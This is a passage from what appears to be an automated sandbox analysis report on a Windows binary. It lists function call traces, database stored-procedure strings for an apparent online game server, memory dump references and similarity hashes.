                                                                                                                            • #4.ODBC32(?,00000000,000000F1,?,00000000,00000000,?,00000000,000000F1,?,00000000,00000000,?,00000000,000000FA,?), ref: 0044C56A
                                                                                                                            • #4.ODBC32(?,00000000,000000F1,?,00000000,00000000,?,00000000,000000F1,?,00000000,00000000,?,00000000,000000F1,?), ref: 0044C59A
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 90e4376e416a51c2d706ec3b9ffea40c9519985eec8544c85adc6d47cb6ffc3f
                                                                                                                            • Instruction ID: 24cac36a4fe30684903c34efb16c77effe1ff13d282d2500ab38e5a55d0d300d
                                                                                                                            • Opcode Fuzzy Hash: 90e4376e416a51c2d706ec3b9ffea40c9519985eec8544c85adc6d47cb6ffc3f
                                                                                                                            • Instruction Fuzzy Hash: C651FCB1A01119ABEB24EB09CD99FAE7375FF44714F1482C8F6196B3C1D671AE808F54
                                                                                                                            Function 00443921 Relevance: 16.7, APIs: 11, Instructions: 163COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #4.ODBC32(00000000,00000000,000000F0,?,00000000,00000000), ref: 00443950
                                                                                                                            • #4.ODBC32(00000000,00000000,00000001,?,00000012,00000000,00000000,00000000,000000F0,?,00000000,00000000), ref: 00443974
                                                                                                                            • #4.ODBC32(00000000,00000000,000000FE,?,00000064,00000000,00000000,00000000,00000001,?,00000012,00000000,00000000,00000000,000000F0,?), ref: 00443998
                                                                                                                            • #4.ODBC32(00000000,00000000,000000FE,?,00000064,00000000,00000000,00000000,000000FE,?,00000064,00000000,00000000,00000000,00000001,?), ref: 004439BF
                                                                                                                            • #4.ODBC32(00000000,00000000,000000E7,?,00000000,00000000,00000000,00000000,000000FE,?,00000064,00000000,00000000,00000000,000000FE,?), ref: 004439E6
                                                                                                                            • #4.ODBC32(00000000,00000000,000000F0,?,00000000,00000000,00000000,00000000,000000E7,?,00000000,00000000,00000000,00000000,000000FE,?), ref: 00443A0C
                                                                                                                            • #4.ODBC32(00000000,00000000,000000FA,?,00000000,00000000,00000000,00000000,000000F0,?,00000000,00000000,00000000,00000000,000000E7,?), ref: 00443A33
                                                                                                                            • #4.ODBC32(00000000,00000000,000000FA,?,00000000,00000000,00000000,00000000,000000FA,?,00000000,00000000,00000000,00000000,000000F0,?), ref: 00443A5A
                                                                                                                            • #4.ODBC32(00000000,00000000,000000F0,?,00000000,00000000,00000000,00000000,000000FA,?,00000000,00000000,00000000,00000000,000000FA,?), ref: 00443A80
                                                                                                                            • #4.ODBC32(00000000,00000000,000000FE,?,00000032,00000000,00000000,00000000,000000F0,?,00000000,00000000,00000000,00000000,000000FA,?), ref: 00443AA7
                                                                                                                            • #4.ODBC32(00000000,00000000,000000FA,?,00000000,00000000,00000000,00000000,000000FE,?,00000032,00000000,00000000,00000000,000000F0,?), ref: 00443ACE
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: f81d0137002c9018c223e33d0fb14347433f4e43ae7a1225f5e63898b08646b9
                                                                                                                            • Instruction ID: 1f8ccc96591f4165475f7efbba54667510c61842ec13bd430c10dfe674f5105e
                                                                                                                            • Opcode Fuzzy Hash: f81d0137002c9018c223e33d0fb14347433f4e43ae7a1225f5e63898b08646b9
                                                                                                                            • Instruction Fuzzy Hash: 65510AB5E40508BBEB14DF89CC51FAEB379EF84718F10C249F6216B3C5E675AA108B58
                                                                                                                            Function 00414083 Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 218COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • EnterCriticalSection.KERNEL32(?,00000000,00000001), ref: 0041410D
                                                                                                                            • LeaveCriticalSection.KERNEL32(?), ref: 00414244
                                                                                                                            • EnterCriticalSection.KERNEL32(?), ref: 00414256
                                                                                                                              • Part of subcall function 004680D0: DNameNode::DNameNode.LIBCMTD ref: 00468170
                                                                                                                              • Part of subcall function 004680D0: _wctomb_s.LIBCMT ref: 004681B8
                                                                                                                            • LeaveCriticalSection.KERNEL32(?), ref: 0041438D
                                                                                                                            • std::bad_exception::~bad_exception.LIBCMTD ref: 00414396
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: CriticalSection$EnterLeaveName$NodeNode::_wctomb_sstd::bad_exception::~bad_exception
                                                                                                                            • String ID: ---------- GameDB --------- $ ---------- LoginDB --------- $%s(%d) : %d : %d$%s(%d) : %d, %d
                                                                                                                            • API String ID: 1354606014-325027074
                                                                                                                            • Opcode ID: a03bcbc2b98f7111113d2ab48543394e6f460bfa76c69d37959f28f976b25845
                                                                                                                            • Instruction ID: da0b7bf0476cf7e57f28f993e80bee7927ead748303ce5cdf3b3e1884b75af68
                                                                                                                            • Opcode Fuzzy Hash: a03bcbc2b98f7111113d2ab48543394e6f460bfa76c69d37959f28f976b25845
                                                                                                                            • Instruction Fuzzy Hash: 99A11C74E002189FCB18DF99CC91BDDB7B5AF88308F1081A9E509AB355DB34AE85CF54
                                                                                                                            Function 004314EA Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 149COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_SetTCharacterUI] (?,?,?,?,?)},000000FD), ref: 00431516
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00431555
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043158A
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004315C2
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004315FA
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00431632
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FE,000000FD,000009C4,00000000,?,00000000,?,?,00000000,00000001,000000E7,000000FB,00000000), ref: 00431684
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FE,000000FD,000007D0,00000000,?,00000000,?,?,00000000,00000001,000000E7,000000FB,00000000), ref: 004316CC
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_SetTCharacterUI] (?,?,?,?,?)}, xrefs: 0043150D
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_SetTCharacterUI] (?,?,?,?,?)}
                                                                                                                            • API String ID: 0-1553595866
                                                                                                                            • Opcode ID: ef93f336bc390832fb0a349ed5da98971a50c4d216afa70c9d44e4fcb048a32b
                                                                                                                            • Instruction ID: 2554a38098e0a816f158ffdcb87c2a38d4fa308403fc601afdfcf0b3ad4facc5
                                                                                                                            • Opcode Fuzzy Hash: ef93f336bc390832fb0a349ed5da98971a50c4d216afa70c9d44e4fcb048a32b
                                                                                                                            • Instruction Fuzzy Hash: 06512670645214BBEF648B54CC52FA973B5FB88728F20C285F6546A2C5CD76AD808FD8
                                                                                                                            Function 0043B062 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 142COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?, { ? = CALL [ROHAN_InsIndunRestrictInfo] (?, ?, ?, ?, ?, ?)},000000FD), ref: 0043B08B
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043B0CD
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043B102
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000E6,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043B13A
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000E6,000000FA,00000000), ref: 0043B172
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043B1AA
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000E6,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043B1E2
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000E6,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000E6,000000FA,00000000), ref: 0043B21A
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_InsIndunRestrictInfo] (?, ?, ?, ?, ?, ?)}, xrefs: 0043B082
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_InsIndunRestrictInfo] (?, ?, ?, ?, ?, ?)}
                                                                                                                            • API String ID: 0-3535395023
                                                                                                                            • Opcode ID: 1fed44a667dc3210fc4aa65512f28c757e07aad78fa65b785b41141cee087306
                                                                                                                            • Instruction ID: 28abad3eae89541ce46ce08c9900f9202aab7f78dbe3711a391f000d52100585
                                                                                                                            • Opcode Fuzzy Hash: 1fed44a667dc3210fc4aa65512f28c757e07aad78fa65b785b41141cee087306
                                                                                                                            • Instruction Fuzzy Hash: E651FFB1A443947BEB249B54CC52FAB7335FB84B18F244688F6197E2C5D7F279808B18
                                                                                                                            Function 004242C7 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 141COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN3_GetBankAndRTM](?,?,?,?,?,?) } ,000000FD), ref: 004242E7
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00424317
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00424340
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042436C
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00424398
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000E7,000000FB,00000000), ref: 004243C4
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004243F0
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000FA,000000FA,00000000), ref: 0042441C
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN3_GetBankAndRTM](?,?,?,?,?,?) } , xrefs: 004242DE
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
